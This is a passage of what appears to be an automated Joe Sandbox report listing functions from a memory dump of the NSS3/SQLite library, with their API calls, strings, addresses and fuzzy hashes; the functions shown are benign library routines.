PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C617310), ref: 6C618B1D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 31734508aa54b87abbf53d067796da6df1663a3524eb529168e418f547720c78
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 1E51F671605210AFE7108F18CC44BAA37E4EF4A71DF16C15AEC199BFA1E731E905CBA9

Function 6C5AE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C5AE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5AEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C5AEE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C5AEDC2
unknown column "%s" in foreign key definition, xrefs: 6C5AED18

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 3aea44002fe8cef2056c24655532863985b6e4ed0d7b89234a977c115bc60fd0
Instruction ID: 8d64be3c45028fc2b644eec115c1320a891389751837023678e861fa81ce3497
Opcode Fuzzy Hash: 3aea44002fe8cef2056c24655532863985b6e4ed0d7b89234a977c115bc60fd0
Instruction Fuzzy Hash: 7502A071E01219CFDB04CF9AC890AEEB7B2FF89304F198569D805AB751D771A852CBE0

Function 6C6E2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E2FFD
sqlite3_initialize.NSS3 ref: 6C6E3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6E3032
sqlite3_mprintf.NSS3(6C74AAF9,?), ref: 6C6E3073
sqlite3_free.NSS3(?), ref: 6C6E30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6E30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6E30BB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8f5d2cdc4e8c9e84766e5c035799ab4f2738b603b026f2710dcabc7d6944a99
Instruction ID: e67e6a2172f790b14b29e50316ff2bad289610843b3f9362628b6ff7babb183c
Opcode Fuzzy Hash: e8f5d2cdc4e8c9e84766e5c035799ab4f2738b603b026f2710dcabc7d6944a99
Instruction Fuzzy Hash: A041D171605606ABDB00CF25D844A8AB7E5FF88368F048639EC5987B50E731F955CBD0

Function 6C62E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E44F

Part of subcall function 6C632C40: TlsGetValue.KERNEL32(#?cl,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C62
Part of subcall function 6C632C40: EnterCriticalSection.KERNEL32(0000001C,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C76
Part of subcall function 6C632C40: PL_HashTableLookup.NSS3(00000000,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C86
Part of subcall function 6C632C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C62E52F

Strings

#?cl, xrefs: 6C62E409

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?cl
API String ID: 3106257965-3055577206
Opcode ID: 195194de6de15375e8d5e86abc29b6868f31b0cfea1fcc8376e796544ea51107
Instruction ID: 4133c0fa525baef10dcd8c9e533360df7d12e8a81210d35392c109a57c851c11
Opcode Fuzzy Hash: 195194de6de15375e8d5e86abc29b6868f31b0cfea1fcc8376e796544ea51107
Instruction Fuzzy Hash: F441F9B5A046158FCB00EF78D5845AABBF0FF06305B054979D8859B711E738E894CFAA

Function 6C628CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C63124D,00000001), ref: 6C628D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C63124D,00000001), ref: 6C628D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628D73
PR_Unlock.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628D8C

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628DBA

Strings

KRAM, xrefs: 6C628D3E
KRAM, xrefs: 6C628CF9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d8dbdc4896db3071a00742a03bc249ad8624c12ab42d9f49d4da1a3d2c32e9cc
Instruction ID: 7deea0b7ee23770f6778808734027414258b3c7c2d9508ad94f66b5b40a8a9f9
Opcode Fuzzy Hash: d8dbdc4896db3071a00742a03bc249ad8624c12ab42d9f49d4da1a3d2c32e9cc
Instruction Fuzzy Hash: 3E217EB2A046018FCB00AF38C8845AAB7F0FF59308F15896AD8988B711D738D845CF99

Function 6C720ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C720EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C720EFA

Part of subcall function 6C60AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C60AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C720ED9, 6C720EE5, 6C720F06, 6C720F0B
Aborting, xrefs: 6C720EB3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 55097f733100808921850355d9fe43e550e6afe3cf0380d78a65754e8736e6c8
Instruction ID: ac4fa070ac18635fd09c238d921ec151c7c26b954bfd9b1c61075c9bc29c161d
Opcode Fuzzy Hash: 55097f733100808921850355d9fe43e550e6afe3cf0380d78a65754e8736e6c8
Instruction Fuzzy Hash: 4701C0B5A00214ABDF11AF64DD598AB3F3CEF46365F004075FD0997711D635ED109AA2

Function 6C6E4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E4DE0

Strings

%s at line %d of [%.10s], xrefs: 6C6E4DDA
API call with %s database connection pointer, xrefs: 6C6E4DBD
invalid, xrefs: 6C6E4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E4DCB
misuse, xrefs: 6C6E4DD5

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a4a16fce0da0992d9ac9745781084a50fca9e88b4a7f8853345b121f4c270a88
Instruction ID: 38c770e4e16a28b2d3c8856218b4e1cf617f7c80fc97815ac8381730c96b2b31
Opcode Fuzzy Hash: a4a16fce0da0992d9ac9745781084a50fca9e88b4a7f8853345b121f4c270a88
Instruction Fuzzy Hash: 16F05921F1E6287BD70140B6CD21FE233D94F0932CF4649A2FE046BE52D2869E5082C9

Function 6C6E4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E4E4D

Strings

%s at line %d of [%.10s], xrefs: 6C6E4E47
API call with %s database connection pointer, xrefs: 6C6E4E2A
invalid, xrefs: 6C6E4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E4E38
misuse, xrefs: 6C6E4E42

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 3ca60a4e8d865a6c1a85e8322f605f9fabde49f23898b2c8ca47a41960b37b7f
Instruction ID: befc05a72731a65e0b99aab6541c9edc17b04dd192df40dae31687b9a091aaec
Opcode Fuzzy Hash: 3ca60a4e8d865a6c1a85e8322f605f9fabde49f23898b2c8ca47a41960b37b7f
Instruction Fuzzy Hash: 61F09E20F4E5287BD60002F5CD10FE23389470532DF48C4B2EE0427F82C6459E6602D9

Function 6C650C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?,?,00000000,?,?), ref: 6C650CB3

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?), ref: 6C650DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?), ref: 6C650DEC

Part of subcall function 6C670F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
Part of subcall function 6C670F10: malloc.MOZGLUE(00000001), ref: 6C670F30
Part of subcall function 6C670F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C651444,?,00000001,?,00000000), ref: 6C650E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?,?,00000000), ref: 6C650E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650E79

Part of subcall function 6C661560: TlsGetValue.KERNEL32(00000000,?,6C630844,?), ref: 6C66157A
Part of subcall function 6C661560: EnterCriticalSection.KERNEL32(?,?,?,6C630844,?), ref: 6C66158F
Part of subcall function 6C661560: PR_Unlock.NSS3(?,?,?,?,6C630844,?), ref: 6C6615B2

Part of subcall function 6C62B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C631397,00000000,?,6C62CF93,5B5F5EC0,00000000,?,6C631397,?), ref: 6C62B1CB
Part of subcall function 6C62B1A0: free.MOZGLUE(5B5F5EC0,?,6C62CF93,5B5F5EC0,00000000,?,6C631397,?), ref: 6C62B1D2

Part of subcall function 6C6289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6288AE,-00000008), ref: 6C628A04
Part of subcall function 6C6289E0: EnterCriticalSection.KERNEL32(?), ref: 6C628A15
Part of subcall function 6C6289E0: memset.VCRUNTIME140(6C6288AE,00000000,00000132), ref: 6C628A27
Part of subcall function 6C6289E0: PR_Unlock.NSS3(?), ref: 6C628A35

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 174ea45396bfa6ea6e38e93dde5f4d5e2e05bfc97f1947d615214b8ced174e6a
Instruction ID: 769c4ceac30fa0233b3b8fb34455bfd588542a98345047938ac74ee438115cbb
Opcode Fuzzy Hash: 174ea45396bfa6ea6e38e93dde5f4d5e2e05bfc97f1947d615214b8ced174e6a
Instruction Fuzzy Hash: E551C9B6E002105FEB009F64DC41AAB37A8EF4631CF651124ED0997712F735ED2587AE

Function 6C606E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C606ED8
sqlite3_value_text.NSS3(?,?), ref: 6C606EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C606FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C606FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C606FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C607010
sqlite3_value_blob.NSS3(?,?), ref: 6C60701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C607052

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: b4a771c2eed5c9d54ac6846c76f0860b582e4a0ea107004b2ca162c4dc44a010
Instruction ID: d649e1b599ad03b40c3d8ead4af0926a118f14b0f2174a2f6b7cfc6ea69dcc6a
Opcode Fuzzy Hash: b4a771c2eed5c9d54ac6846c76f0860b582e4a0ea107004b2ca162c4dc44a010
Instruction Fuzzy Hash: AD61D3B1F042058BDB08CF65CA407EEB7B2AF45308F284165D815BB751E736DC55CBA9

Function 6C65CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6C65CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C65C8CF,?,?,?), ref: 6C65CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6C65C8CF,?,?,?), ref: 6C65CB31

Part of subcall function 6C651490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6C65CB40,?,00000000), ref: 6C6514A1
Part of subcall function 6C651490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C65C8CF,?), ref: 6C6514C7
Part of subcall function 6C651490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6514E4
Part of subcall function 6C651490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C6514F5

PR_Unlock.NSS3(?), ref: 6C65CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C65CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C65C8CF), ref: 6C65CBE2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: f29eec53f95979a28b5c43cc4f436e65e420f06ac94c68debf3fb253b8313550
Instruction ID: f249c673026418e7af05c0d3a735e4c23ed926b44492e598ed670c025056b7a1
Opcode Fuzzy Hash: f29eec53f95979a28b5c43cc4f436e65e420f06ac94c68debf3fb253b8313550
Instruction Fuzzy Hash: 74514075E00119AFDB01DF68D880AEEBBB4BF0D358F644164E805A7711E731E964CBA9

Function 6C678F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C677313), ref: 6C678FBB

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C677313), ref: 6C679012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C677313), ref: 6C67903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C67909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C6790DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C6790F1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C677313), ref: 6C67906B

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C677313), ref: 6C679128

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

